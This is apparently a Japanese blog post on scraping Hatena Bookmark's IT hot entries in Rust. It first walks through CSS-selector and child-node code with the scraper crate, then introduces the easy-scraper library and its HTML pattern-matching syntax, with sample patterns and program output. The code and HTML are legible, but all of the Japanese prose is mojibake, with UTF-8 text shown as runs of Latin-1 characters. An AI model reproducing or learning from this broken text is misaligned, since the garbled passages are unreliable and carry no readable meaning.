data-gtm-click-label="entry-info-category">ãã¯ããã¸ã¼</a> </li> <li class="entrylist-contents-date">2020/02/12 06:05</li> </ul> .... </div> ...
ãããããã¼ã¿ãåãåºãã³ã¼ããæ¸ãã¦ããã¾ãã
ã¾ãé©å½ã«ãã¼ã¿æ§é ã®å®ç¾©ã¨HTMLãGETãã¦ããã³ã¼ããæ¸ãã¾ãã
#[derive(Debug)] struct HotEntry { url: String, title: String, users: String, date: String, } fn hatebu_hotentry() -> Result<Vec<HotEntry>> { // ã¯ã¦ãªããã¯ãã¼ã¯ã¯User Agentè¨å®ããªãã¨ã¡ããã¨ããã³ã³ãã³ããåããªãã£ãã®ã§æå® let client = reqwest::blocking::Client::builder() .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100") .build()?; // ç®çã®ãã¼ã¸ãStringã¨ãã¦åå¾ let doc = client .get("https://b.hatena.ne.jp/hotentry/it") .send()? .text()?; // HTMLããã¼ãº let doc = Html::parse_document(&doc); .... }
次ã«ãç®çã®ãã¼ããé¸æã§ããCSSã»ã¬ã¯ã¿ã¼ãèãã¾ãã
1ã¤ã®ã¨ã³ããªã¼ã¯<div class="entrylist-contents-main">
ã«å²ã¾ããé¨åã«å
¥ã£ã¦ãããªã®ã§ã
ãããCSSã»ã¬ã¯ã¿ã¼ã§é¸æãããã¨ã«ãã¾ãã
for node in doc.select(&Selector::parse("div.entrylist-contents-main").unwrap()) { ... }
ãã®ãã¼ãã«å¯¾ãã¦HotEntry
åãè¿ãé¢æ°ãæ¸ãã¾ãã
ããããããCSSã»ã¬ã¯ã¿ã¼ã§ééã£ã¦é¸æããããã¼ãããããããããªãã®ã§ã
ãããèæ
®ã㦠Option<HotEntry>
ãè¿ãé¢æ°ã«ãã¦ããã¾ãã
let f = || -> Option<HotEntry> { ... };
ã¾ãæåã®åãã¼ãã«URLã¨ã¿ã¤ãã«ãããã®ã§ããããåãåºãã¾ãã
åããããããã¤ãºãåãé¤ãã¨ãæåã®åãã¼ãã®ãæåã®åãã¼ãã®href
ã¨title
ã®ã¨ããã«ãããã¨ããããã¾ãã
<a>
ã¿ã°ã«å²ã¾ããããã¹ãã«ãã¿ã¤ãã«ãå
¥ã£ã¦ãã¾ããããã¡ãã¯æåæ°ãçãã®ã§ã
title
ã®ã¨ããã«ãããã®ãæãåºããã»ããè¯ãããã§ãã
<div class="entrylist-contents-main"> <h3 class="..."> <a href="{{url}}" title="{{title}}">...</a> </h3> ...
ãããscraper
ã®APIã§æ¸ãã¦ããã¾ãã
// åãã¼ãã®ã¤ãã¬ã¼ã¿ã¼ let it = node.children(); // 次ã®elementã¾ã§ã¹ããã(空ç½æåã®ããã¹ããã¼ããæ··ãã£ã¦ããã®ã§) let mut it = it.skip_while(|r| !r.value().is_element()); // æåã®åãã¼ã(<h3>)ãåå¾ let node = it.next()?; // ãã®æåã®elementãã¼ããåãåºã let node = node .children() .skip_while(|r| !r.value().is_element()) .next()? .value() .as_element()?; // ã¿ã¤ãã«ã¨URLåå¾ let title = node.attr("title")?; let url = node.attr("href")?;
å¤åRustã®ååããã®ããã«å¿ è¦ä»¥ä¸ã«ããããããªã£ã¦ããã®ã§ã±ã£ã¨è¦ããããããªãã¨æãã¾ããã æ¸ãã¦ãæ¹ããã£ã¨ããåãããªãã®ã§å¤§ä¸å¤«ã§ãã
ã¾ããHTMLã«ã¯æ®é空ç½æåã®ããã¹ããã¼ããé »åºããã®ã§ï¼ä»åã®ã«ããã£ããå«ã¾ãã¦ããã®ã§ï¼ã
ããããã¡ãã¨é£ã°ãã¦ãããªãã¨ããã¾ããã
ä¸ã®ã³ã¼ãã§ã¯ã¤ãã¬ã¼ã¿ã¼ã§next()
ãå¼ã¶åã«ãã¡ãã¡skip_while()
ã§èªã¿é£ã°ãã¦ãã¾ãã
children()
ãè¿ããã®ã¯ego-tree
ã¨ããscraper
ãå
é¨çã«ä½¿ã£ã¦ããããªã¼ã©ã¤ãã©ãªã®ãã¼ãã«ãªã£ã¦ãã¦ã
ããããã§ã¯scraper
åºæã®DOMè¦ç´ ã«ã¢ã¯ã»ã¹ããAPIã使ããªãã®ã§ã
value()
ã§ãã¼ãã®å¤ãåãç´ãã¦ãElement
ãã¼ãã¨ãã¦åãåºãã¦ã
ã¿ãããªæ£ç´ããåãããªãæç¶ããè¸ãã§ãããã欲ããå¤ãåãåºãã¾ãã
次ã«ã¦ã¼ã¶ã¼æ°ãåãåºãã¾ããåæ§ã«ã次ã®åè¦ç´ ã®åè¦ç´ ã®ãä»åº¦ã¯æååè¦ç´ ãåãåºãã¾ãã
let mut it = it.skip_while(|r| !r.value().is_element()); let node = it.next()?; let users = ElementRef::wrap( node.children() .skip_while(|r| !r.value().is_element()) .next()?, )? .text() .collect::<Vec<&str>>() .concat();
åè¦ç´ ã®æååè¦ç´ ãåæããããã®ååãããé常ã«é¢åã§ã ãã°ããããã¥ã¡ã³ãã¨ã«ããã£ããããã¨ã«ãªãã¾ãã
æå¾ã®æ¥ä»ã§ããã
<div class="entrylist-contents-body"> ... </div> <div class="entrylist-contents-detail"> <ul class="..."> <li class="...">...</li> <li class="...">{{date}}</li> </ul> ... </div>
次ã®æ¬¡ã®åãã¼ãã®ãåãã¼ãã®ãäºã¤ç®ã®åãã¼ãã«å ¥ã£ã¦ãã¾ãã
// ä¸åèªã¿é£ã°ã(ãµã ãã¤ã«ã¨ããå ¥ã£ã¦ããã¼ã) let mut it = it.skip_while(|r| !r.value().is_element()); let _ = it.next()?; // æ¥ä»ãå«ã¾ãããã¼ã let mut it = it.skip_while(|r| !r.value().is_element()); let node = it.next()?; let node = ElementRef::wrap( node.children() .skip_while(|r| !r.value().is_element()) .next()?, )?; let node = ElementRef::wrap( node.children() .skip_while(|r| !r.value().is_element()) .skip(1) .skip_while(|r| !r.value().is_element()) .next()?, )?; let date = node.inner_html();
ããã§ã»ãããã¼ã¿ãããã£ãã®ã§ãããããå®æã§ãã å ¨ä½ã®ã³ã¼ãã¯æ¬¡ã®ããã«ãªãã¾ãã
fn hatebu_hotentry() -> Result<Vec<HotEntry>> { let client = reqwest::blocking::Client::builder() .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100") .build()?; let doc = client .get("https://b.hatena.ne.jp/hotentry/it") .send()? .text()?; let doc = Html::parse_document(&doc); let mut entries = vec![]; for node in doc.select(&Selector::parse("div.entrylist-contents-main").unwrap()) { let entry = (|| -> Option<HotEntry> { let it = node.children(); let mut it = it.skip_while(|r| !r.value().is_element()); let node = it.next()?; let node = node .children() .skip_while(|r| !r.value().is_element()) .next()? .value() .as_element()?; let title = node.attr("title")?; let url = node.attr("href")?; let mut it = it.skip_while(|r| !r.value().is_element()); let node = it.next()?; let users = ElementRef::wrap( node.children() .skip_while(|r| !r.value().is_element()) .next()?, )? .text() .collect::<Vec<&str>>() .concat(); let mut it = it.skip_while(|r| !r.value().is_element()); let _ = it.next()?; let mut it = it.skip_while(|r| !r.value().is_element()); let node = it.next()?; let node = ElementRef::wrap( node.children() .skip_while(|r| !r.value().is_element()) .next()?, )?; let node = ElementRef::wrap( node.children() .skip_while(|r| !r.value().is_element()) .skip(1) .skip_while(|r| !r.value().is_element()) .next()?, )?; let date = node.inner_html(); Some(HotEntry { url: url.to_owned(), title: title.to_owned(), users, date, }) })(); if let Some(entry) = entry { entries.push(entry); } } Ok(entries) }
å®è¡ãã¦ã¿ã¾ãã
$ cargo run ... [ HotEntry { url: "https://internet.watch.impress.co.jp/docs/yajiuma/1234496.html", title: "5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ãæ£å¼ã«éçºä¸æ¢ã表æããããã¾Watchã - INTERNET Watch", users: "407 users", date: "2020/02/12 06:05", }, HotEntry { url: "https://anond.hatelabo.jp/20200211125801", title: "ã©ããã¦ãã£ã¨å人ãã½ã³ã³ã§ã§ãããã¨ã£ã¦å¢ããªãã£ããã ãããª", users: "214 users", date: "2020/02/12 11:00", }, HotEntry { url: "https://www.pieceofcake.co.jp/n/naefe7919ceeb", title: "決æ»ã®è¦æã§ã®ããã noteã®ãã¡ã¤ã³ç§»è¡ãæ¤ç´¢æµå ¥æ¥è½ããã®å¾©æ´»åï½æ ªå¼ä¼ç¤¾ãã¼ã¹ãªãã±ã¤ã¯", users: "174 users", date: "2020/02/12 11:27", }, HotEntry { url: "https://nikkan-spa.jp/1639354", title: "ãAVã¢ã¶ã¤ã¯é¤å»ãã§ããAIã«æ¥çãéæ¼ã人æ°AV女åªã被害ã«â¦ | æ¥åSPA!", users: "489 users", date: "2020/02/11 18:16", }, ...
欲ããçµæãå¾ããã¾ããã
ãããããããã®ã©ã¤ãã©ãªçã«ã¯ãã¼ãããããã£ã¦ãã¼ã¿ãéããã®ã§ã¯ãªãã¦ã CSSã»ã¬ã¯ã¿ã¼ã§é¸æãããã¼ããããã«CSSã»ã¬ã¯ã¿ã¼ã§æ¤ç´¢ãã¦æ¬²ããè¦ç´ ãæ½åºããã®ãæ£è§£ãªã®ããããã¾ãããã ããããã®ã§ã¯å å¼ãã¼ãéã®ä½ç½®é¢ä¿ãåºå®ãããã¨ãããããã®ãé常ã«ããã¥ããã£ãããã¾ããã ã¾ãåä¸ãã¼ãããã®ãã¼ã¿ã®æ½åºãAPIã調ã¹ãªããããã¨ããã®ã¯çµå±é¿ããããªãã¨æãã¾ãã
åé¡ç¹
ã¨ããããã§ãCSSã»ã¬ã¯ã¿ã¼ãã¼ã¹ã®ã¹ã¯ã¬ã¤ãã³ã°ã©ã¤ãã©ãªã§ ã¹ã¯ã¬ã¤ãã³ã°ããã£ã¦ããã®ã§ããããã£ã±ãããã©ãã®ã§ãã
ããã©ãç¹ãåæãã¦ã¿ãã¨ã
- é¸æãããã¼ããããã¼ã¿ãåãåºãæ¹æ³ã調ã¹ãã®ãé¢åãã©ã¤ãã©ãªãã¨ã«ãã¼ãã®è¡¨ç¾ãéã£ãããã¦ããã¼ãã®è¡¨ç¾ãã³ã³ãã³ãã«ã¢ã¯ã»ã¹ããããã®APIããã°ãã°è¤éã«ãªããã¡ãããªã¼ã©ã¤ãã©ãªãå¥ã«ä½¿ã£ã¦ãããããã¨ããã¡ãã®çãã¼ã¿ããããããããå¥ã©ã¤ãã©ãªéã§ããã¥ã¡ã³ããè¡ãæ¥ãããããã°ãã°ããªãé¢å
- è¤æ°ã®ãã¼ããã1ã¾ã¨ã¾ãã®ãã¼ã¿ãåãåºãã®ãé¢åãåãã¼ããå å¼ãã¼ãã®ãã©ãã¼ã¹ããã¿ãã¼ãã®èªã¿é£ã°ããçã ãæ³å®ãããã¼ãã®ç¸å¯¾çãªä½ç½®é¢ä¿ããã©ãã¼ã¹ããã³ã¼ãã¨å¯¾å¿ãããã¨ã«ãªã£ã¦ãã¾ãã®ã§ãå ã®ãã¼ã¿ã«æºãããã£ãããã¡ããã¨ããªãã¼ã·ã§ã³ãããããã®ãå°å³ã«é¢å
- ã³ã¼ããè¦ã¦ãã©ãããæ§é ã®HTMLãããã¼ã¿ãåãåºãã¦ããã®ããããããããªããããã¯å¯èªæ§ããå¾ã ã®ã³ã¼ãã®ä¿®æ£ããããã¯ãã¼ã¸ã®HTMLæ§é ãã¡ãã£ã¨å¤ãã£ã¦ãã¹ã¯ã¬ã¤ãã³ã°ã®ã³ã¼ãã微修æ£ããããããªã¨ãã«ã¤ãã
ãã®ãããªæãã«ãªãã§ãããããããããããããã¹ã¦è§£æ¶ããã使ããããã©ã¤ãã©ãªããã£ããããã®ã«ãªã・・・ã
ã³ã³ã»ããã»ã¢ããã¼ã
ã¨ããçºæã®æ¯ãããæ°ããã©ã¤ãã©ãªãæ¸ãã¦ã¿ã¾ããã
https://github.com/tanakh/easy-scraper
ã³ã³ã»ããã¨ãã¦ã¯ãã¨ã«ãããæ¢åã®ã©ã¤ãã©ãªã§ä½¿ãã¥ããã¨æã£ããã¨ããã¹ã¦åé¿ãã¦ãã¨ã«ãã使ãããããããã¨ã«éç¹ãç½®ãã¦ãã¾ããã©ã¤ãã©ãªãæä¾ããã®ã¯ï¼ä»ã®ã¨ããï¼Pattern
ã¨ããåä¸ã¤ã¨new
ã¨matches
ã®ã¡ã½ãã2ã¤ããããã¾ããã
ããªã¼ãããã³ã°ãã¼ã¹
ãªã«ãè¯ããªãã®ããªãã¨èãã¦ããã¾ãã¨ã æ§é ããããããããã®ã«ã»ã¬ã¯ã¿ã¼ã使ã£ã¦ããã®ãè¯ããªãããããªãã®ãã¨ããèãã«ãªã£ãã®ã§ã CSSã»ã¬ã¯ã¿ã¼ã®ãããªæ¹æ³ã§ãã¼ããããããããã®ã§ã¯ãªããããªã¼èªä½ã§ãããã³ã°ããããã¨ã«ãã¾ããã ã¤ã¾ããã¯ã¨ãªã¯HTMLãã®ãã®ã§ãã
ä¾ãã°ããããªæãã§ãã¿ã¼ã³ãæ¸ãã¾ãã
<ul> <li>{{foo}}</li> </ul>
ããã¯<ul>
ã®åè¦ç´ ã«ãã<li>
ã®ä¸ã®ããã¹ãã«ããããããããªãã¿ã¼ã³ã表ãã¾ãããã¿ã¼ã³ä¸ã«ã¯{{
ã¨}}
ã§å²ãã ãã¬ã¼ã¹ãã«ããæ¸ãã¾ãã
ãããçµæã¯é£æ³é
åã§è¿ããã¦ããã®ååããã¼ã«ãªãã¾ãã
let pat = Pattern::new(r#" <ul> <li>{{foo}}</li> </ul> "#)?;
ãã¿ã¼ã³ãæååã¨ãã¦æ¸¡ãã¦ãPattern
ãªãã¸ã§ã¯ããä½ãã¾ãããã®ãã¿ã¼ã³ã«å¯¾ãã¦matches
ã¨ããã¡ã½ãããèªãã§ããã°ãããçµæãå¾ããã¾ãã
let ms = pat.matches(r#" <!DOCTYPE html> <html lang="en"> <body> <ul> <li>1</li> <li>2</li> <li>3</li> </ul> </body> </html> "#);
ããããããã¥ã¡ã³ããããããããã¨ãã¾ãã
[ { "foo": "1" }, { "foo": "2" }, { "foo": "3" }, ]
ããã¨ããã®ãããª3éãã®çµæãè¿ãã¾ãã
ãããã®çµæã¯ãé£æ³é
åã®é
å(Vec<BTreeMap<String, String>>
)ã§è¿ããã¾ãã
å
¨ãããçµæã¨ãåãããã«ããããã¬ã¼ã¹ãã«ãã«å¯¾ããæååã®é£æ³é
åã§ãã
ãããã³ã°ã®ã«ã¼ã«ã¯ã
ï¼åºæ¬çã«ã¯ï¼ããã¿ã¼ã³ã¨ä¸è´ããä»»æã®ããã¥ã¡ã³ãããªã¼ã®é¨åéåãã«ãããããããã«ãã¦ãã¾ãã
<ul> <li>1</li> </ul>
ãã
<ul> <li>2</li> </ul>
ãã
<ul> <li>3</li> </ul>
ããããã¥ã¡ã³ãã®é¨åéåã«ãªã£ã¦ããã®ã§ããããããããããã¨ãããã¨ã§ãã
親åãã¼ã
ãã¿ã¼ã³ã§ã®è¦ªåé¢ä¿ã¯ãå ã®ããã¥ã¡ã³ãã§ç´æ¥ã®è¦ªåé¢ä¿ã«ãªãã¦ãé¨åéåã«ãªãã®ã§ã å ã»ã©ã®ãã¿ã¼ã³ã¯ã
<ul> <div> <li>1</li> <li>2</li> </div> <div> <div> <li>3</li> </div> </div> </ul>
ãªã©æ·±ãå ¥ãçµãã§ãã¦ããåæ§ã«ããããã¾ãã
å å¼ãã¼ã
ãã¿ã¼ã³ã¯ããã¥ã¡ã³ãã®é¨åéåã«ãããããã¨æ¸ãã¾ãããã æ¬å½ã«ç¡æ¡ä»¶ã§ããã¥ã¡ã³ãã®ãã¹ã¦ã®é¨åéåãããããããã¨ã æ¢ç´¢ãççºãã¦é ããªã£ã¦ãã¾ã£ãããããã¨ãããã®ã«å ãã¦ã ç´æã«åããã±ã¼ã¹ã¾ã§ããããã¦ãã¾ã£ã¦ã ãããçµæã«ãã¤ãºãå¢ãã¦ãã¾ãã¨ããåé¡ç¹ãåºã¦ãã¾ãã
ä¾ãã°ã
<div> <div>{{name}}</div> <div>{{age}}</div> </div>
ã¨ãããã¿ã¼ã³ããã£ãã¨ãã¦ã
<div> <div> <div>Taro</div> <div>10</div> </div> <div> <div>Jiro</div> <div>20</div> </div> </div>
ããããããã¥ã¡ã³ãã«ããããããã¨ãã¾ããããã¨ã
<div> <div>Taro</div> <div>10</div> </div>
ããããé¨åæ¨ã«ã¯ãã¡ãããããããã®ã§ããã
<div> <div>Taro</div> <div>20</div> </div>
å®ã¯ããããã®ãé¨åéåã«ãªã£ã¦ãã¾ãã®ã§ãï¼ããããï¼äºæããªãããããå¤çºãã¦ãã¾ãã¾ãã ãããæé¤ããããã«ã¯ãããããæ§é ã«ãããããªãããã«ãã¿ã¼ã³ãä½ã¨ããããããªãã¦ãçµæ§æ©ã¾ããåé¡ã«ãªã£ã¦ãã¾ãã¾ãã
å å¼ãã¼ããããå¾ãã«ãããã¨ãæå®ãããããªè¨æ³ãå°å ¥ãããããã®ããªï¼ãªã©ã¨èãããããã¾ãããã ç¹å¥ãªè¨æ³ããã¾ãå°å ¥ããã®ã¯å¦ç¿ã®è² æ ã«ãªããã ããããå¤ãã®ã±ã¼ã¹ã§ã¯ç´æ¥é£ãåã£ã¦ãå å¼ãã¼ããæå®ãããã¯ããªã®ã§ã¯ï¼ ã¨ããä»®å®ã®ãã¨ã«ããããã³ã°ã®æ¹ã«å¶éãã¤ãããã¨ã«ãã¾ããã
å å¼ãã¼ãã®ãããã³ã°ã«ããã¦ã¯ã
- (ç¹å¥ãªæå®ããªããã°)é£ãåãå¿ è¦ããã
- å ±éã®è¦ªã®ãç´æ¥ã®åã§ããå¿ è¦ããã
ã¨ããå¶ç´ãä»ãããã¨ã«ãã¾ããã
ãã®çµæããããã試ãã¦ã¿ãæãã§ã¯ãæ¸ããã¨ãã®æå³ã«å¯¾ãã¦ã ããããéä¸è¶³ã®ãªãããããã§ããããã«ãªãã¾ããã ä¾ãã°ããã®ãããªããã¥ã¡ã³ãã«å¯¾ãã¦ã
<body> <ul> <li>1</li> <li>2</li> <li>3</li> </ul> </body>
ãã®ãã¿ã¼ã³ã ã¨ã
<ul> <li>{{foo}}</li> <li>{{bar}}</li> </ul>
å¾ããããããã¯
[ { "foo": "1", "bar": "2" }, { "foo": "2", "bar": "3" }, ]
ã®2éãã«ãªãã¨ãããã¨ã§ãã
{ "foo": "1", "bar": "3" },
ã¯ãéã«ãã¼ããæã¾ãã®ã§ãå«ã¾ãã¾ããã
ã¹ããããã¿ã¼ã³
ãããããã¯ãå å¼ãã¼ãéã§éã«ä»»æã®ãã¼ããæãã§ãããããããããªãã®ãä½ãããã±ã¼ã¹ããã£ãã®ã§ã ãã¡ããæå®ã§ããè¨æ³ãå°å ¥ãããã¨ã«ãã¾ããã
<ul> <li>{{foo}}</li> ... <li>{{bar}}</li> </ul>
...
ã¨ãããã¿ã¼ã³ã¯ã0å以ä¸ã®ä»»æã®ãã¼ãã«ããããã¾ãããªã®ã§ããã®ãã¿ã¼ã³ã«å¯¾ãããããã¯
[ { "foo": "1", "bar": "2" }, { "foo": "1", "bar": "3" }, { "foo": "2", "bar": "3" }, ]
ã®3éãã«ãªãã¾ãã
ãªãããã®ã¹ããããã¿ã¼ã³ãæãã§ãã¦ãããã¿ã¼ã³ä¸ã®å å¼ãã¼ããåä¸ã®è¦ªã®ç´æ¥ã®åã§ããå¿ è¦ãããã¨ããå¶ç´ã¯å¤ããã¾ããã
attribute ãã¿ã¼ã³
ã¿ã°ã®attributeã«ããã¿ã¼ã³ãæ¸ãã¾ãã
<div class="hoge"> {{foo}} </div>
ãã®å ´åã ã¨ãhoge
ãclass
ã«å«ã<div>
ãã¼ãã«ããããã¾ãã
CSSã»ã¬ã¯ã¿ã¼ã®ã¯ã©ã¹æå®ãªã©ã¨åãããã«ã
attributeã®ã¹ãã¼ã¹åºåãåèªãé¨åéåã¨ãã¦å«ã¾ãã¦ãããã®ã«ããããã¾ãã
ãªã®ã§ããã®ãã¿ã¼ã³ã¯ã
<div class="hoge moge"> Hello </div>
ããããããã¥ã¡ã³ãã«ããããã¾ãã
attributeã®ã¨ããã«ããã¬ã¼ã¹ãã«ãã¼ãããã¾ãã
<a href="{{url}}">{{title}}</a>
ããã§ãªã³ã¯ã®URLã¨ã¿ã¤ãã«ãæ½åºãããã¿ã¼ã³ã«ãªãã¾ãã
<a href="https://www.google.com">Google</a> <a href="https://www.yahoo.com">Yahoo</a>
ããã«å¯¾ããããããã
[ { "url": "https://www.google.com", "title": "Google" }, { "url": "https://www.yahoo.com", "title": "Yahoo" }, ]
ããã«ãªãã¾ãã
é¨åããã¹ããã¿ã¼ã³
ããã¹ããã¼ãã«ã¯æååã¨ãã¬ã¼ã¹ãã«ããèªç±ã«æ··å¨ããããã¾ãã
<ul> <li>A: {{a}}, B: {{b}}</li> </ul>
ãã®ãã¿ã¼ã³ã¯
<ul> <li>A: 1, B: 2</li> <li>A: 3, B: 4</li> <li>A: 5, B: 6</li> </ul>
ããã«å¯¾ãã¦ã
[ { "a": "1", "b": "2" }, { "a": "3", "b": "4" }, { "a": "5", "b": "6" }, ]
ããããããããè¿ãã¾ãã
é¨åæ¨å ¨ããããã¿ã¼ã³
ãã¾ãã·ã³ã¿ãã¯ã¹ãå¢ãããããªãã¨ããã®ãè¨è¨ææ³ã«ã¯ãããã§ããã
é¨åæ¨å
¨ä½ã«ãããããããã¿ã¼ã³ã¯ãã£ãã»ããè¯ããããªã®ã§ã¤ãã¦ã¿ã¾ããã
{{<name>:*}}
ã®ããã«æ¸ãã¾ãã
<div>{{body:*}}</div>
ãã®ãã¿ã¼ã³ãã
<body> Hello <span>Rust</span> World </body>
ãã®ããã¥ã¡ã³ãã«å¯¾ãã¦ã
[ { "body": "Hello<span>Rust</span>World" } ]
ããããããããè¿ãã¾ãã
空ç½ã®æ±ã
空ç½ã¯åºæ¬çã«ç¡è¦ãã¾ãã 空ç½ãããªãããã¹ããã¼ãã¯åå¨ããªããã¨ã«ãªãã¾ãã ã³ã¡ã³ãããªãã£ããã¨ã«ãªãã¾ãã ãã®è¾ºã¯ããã§ããã®ãæ£ç´ããåãã£ã¦ãªãã£ãããã¾ããã ä»ã®ã¨ããã¯ããã¾ãåé¡ãªããããªé°å²æ°ã§ãã
ä¾ï¼ã¯ã¦ãªããã¯ãã¼ã¯
ãã¦ããã®ã©ã¤ãã©ãªãç¨ãã¦ãå
ã»ã©ã®scraper
ãç¨ãã¦ä½ã£ãã¯ã¦ãªããã¯ãã¼ã¯ã®ãããã¨ã³ããªæ½åºããã°ã©ã ãä½ã£ã¦ã¿ã¾ãã
ã¨ã³ããªã®HTMLçãåæ²ãã¾ãã
... <div class="entrylist-contents-main"> <h3 class="entrylist-contents-title"> <a href="https://internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ãæ£å¼ã«éçºä¸æ¢ã表æããããã¾Watchã - INTERNET Watch" target="_blank" rel="noopener" class="js-keyboard-openable" data-gtm-click-label="entry-info-title">5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ã...</a> </h3> <span class="entrylist-contents-users"> <a href="/entry/s/internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="ãã¹ã¦ã®ããã¯ãã¼ã¯ãè¦ã" class="js-keyboard-entry-page-openable" data-gtm-click-label="entry-info-users"><span>391</span> users</a> </span> <div class="entrylist-contents-body"> <a href="/entry/s/internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="ãã¹ã¦ã®ããã¯ãã¼ã¯ãè¦ã"> <p class="entrylist-contents-description" data-gtm-click-label="entry-info-description-href"> </p> <p class="entrylist-contents-thumb"> <span style="background-image:url('https://cdn-ak-scissors.b.st-hatena.com/image/square/ac87668f76a1e166e3d223c0717bba427111632c/height=280;version=1;width=400/https%3A%2F%2Finternet.watch.impress.co.jp%2Fimg%2Fiw%2Flist%2F1234%2F496%2Fyajiuma-watch_4.png');" data-gtm-click-label="entry-info-thumbnail"></span> </p> </a> </div> <div class="entrylist-contents-detail"> <ul class="entrylist-contents-meta"> <li class="entrylist-contents-category"> <a href="/hotentry/it" data-gtm-click-label="entry-info-category">ãã¯ããã¸ã¼</a> </li> <li class="entrylist-contents-date">2020/02/12 06:05</li> </ul> .... </div> ...
ãããã欲ãããã¼ã¿ãåãåºãã«ã¯ãã¾ãã¯é©å½ã«ããã£ã½ãã¨ããããã¬ã¼ã¹ãã«ãã«å¤ãã¦ããã¾ãã
<div class="entrylist-contents-main"> <h3 class="entrylist-contents-title"> <a href="{{url}}" title="{{title}}" target="_blank" rel="noopener" class="js-keyboard-openable" data-gtm-click-label="entry-info-title">5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ã...</a> </h3> <span class="entrylist-contents-users"> <a href="/entry/s/internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="ãã¹ã¦ã®ããã¯ãã¼ã¯ãè¦ã" class="js-keyboard-entry-page-openable" data-gtm-click-label="entry-info-users"><span>{{users}}</span> users</a> </span> <div class="entrylist-contents-body"> <a href="/entry/s/internet.watch.impress.co.jp/docs/yajiuma/1234496.html" title="ãã¹ã¦ã®ããã¯ãã¼ã¯ãè¦ã"> <p class="entrylist-contents-description" data-gtm-click-label="entry-info-description-href"> </p> <p class="entrylist-contents-thumb"> <span style="background-image:url('https://cdn-ak-scissors.b.st-hatena.com/image/square/ac87668f76a1e166e3d223c0717bba427111632c/height=280;version=1;width=400/https%3A%2F%2Finternet.watch.impress.co.jp%2Fimg%2Fiw%2Flist%2F1234%2F496%2Fyajiuma-watch_4.png');" data-gtm-click-label="entry-info-thumbnail"></span> </p> </a> </div> <div class="entrylist-contents-detail"> <ul class="entrylist-contents-meta"> <li class="entrylist-contents-category"> <a href="/hotentry/it" data-gtm-click-label="entry-info-category">ãã¯ããã¸ã¼</a> </li> <li class="entrylist-contents-date">{{date}}</li> </ul> .... </div>
ãããããä¸ææ§ã失ããªããããªç¯å²ã§ãåé·ãªé¨åãåã£ã¦ããã¾ãã åãã°åãã»ã©HTMLã®æ§é ã®æºããå¤æ´ã«ã¯å¼·ããªãã¨æãã¾ãã
<div class="entrylist-contents-main"> <h3 class="entrylist-contents-title"> <a href="{{url}}" title="{{title}}"></a> </h3> <span class="entrylist-contents-users"> <a><span>{{users}}</span> users</a> </span> ... <div class="entrylist-contents-detail"> <ul class="entrylist-contents-meta"> <li class="entrylist-contents-date">{{date}}</li> </ul> </div> </div>
ãããªãã¾ãããããã«HTMLã¯ã©ã¤ã¢ã³ãã§GETããHTMLæååãã¶ã¡è¾¼ã¿ã¾ãã
fn hatebu_hotentry() -> Result<Vec<HotEntry>> { let client = reqwest::blocking::Client::builder() .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100") .build()?; let doc = client .get("https://b.hatena.ne.jp/hotentry/it") .send()? .text()?; // ãã¿ã¼ã³æ§ç¯ï¼ let pat = Pattern::new( r#" <div class="entrylist-contents-main"> <h3 class="entrylist-contents-title"> <a href="{{url}}" title="{{title}}"></a> </h3> <span class="entrylist-contents-users"> <a><span>{{users}}</span> users</a> </span> ... <div class="entrylist-contents-detail"> <ul class="entrylist-contents-meta"> <li class="entrylist-contents-date">{{date}}</li> </ul> </div> </div> "#, )?; // ãããï¼ let result = pat.matches(&doc); // ãããçµæã®Vec<BTreeMap<String, String>> ã Vec<HotEntry> ã«å¤æãã¦è¿ã Ok(result .into_iter() .map(|m| HotEntry { url: m["url"].to_owned(), title: m["title"].to_owned(), users: m["users"].to_owned(), date: m["date"].to_owned(), }) .collect()) }
å®è¡ãã¦ã¿ã¾ãã
$ cargo run ... [ HotEntry { url: "https://internet.watch.impress.co.jp/docs/yajiuma/1234496.html", title: "5å¹´ã«ããã£ã¦æ¾ç½®ã®æ«ã«â¦â¦ã¯ã¦ãçºã®ãæ¬æ°ã®ãRSSãªã¼ãã¼ãæ£å¼ã«éçºä¸æ¢ã表æããããã¾Watchã - INTERNET Watch", users: "407", date: "2020/02/12 06:05", }, HotEntry { url: "https://anond.hatelabo.jp/20200211125801", title: "ã©ããã¦ãã£ã¨å人ãã½ã³ã³ã§ã§ãããã¨ã£ã¦å¢ããªãã£ããã ãããª", users: "214", date: "2020/02/12 11:00", }, HotEntry { url: "https://www.pieceofcake.co.jp/n/naefe7919ceeb", title: "決æ»ã®è¦æã§ã®ããã noteã®ãã¡ã¤ã³ç§»è¡ãæ¤ç´¢æµå ¥æ¥è½ããã®å¾©æ´»åï½æ ªå¼ä¼ç¤¾ãã¼ã¹ãªãã±ã¤ã¯", users: "174", date: "2020/02/12 11:27", }, HotEntry { url: "https://nikkan-spa.jp/1639354", title: "ãAVã¢ã¶ã¤ã¯é¤å»ãã§ããAIã«æ¥çãéæ¼ã人æ°AV女åªã被害ã«â¦ | æ¥åSPA!", users: "489", date: "2020/02/11 18:16", }, ...
æ£ããåãã¦ãã¾ãã
ãã£ã¨èå³ã®ããæ¹ã¯ã ã¬ãã¸ããªã®examplesã«ã ããã¤ãã®ä¾ãããã®ã§ãæ¯éã覧ä¸ããã
ã¾ã¨ã
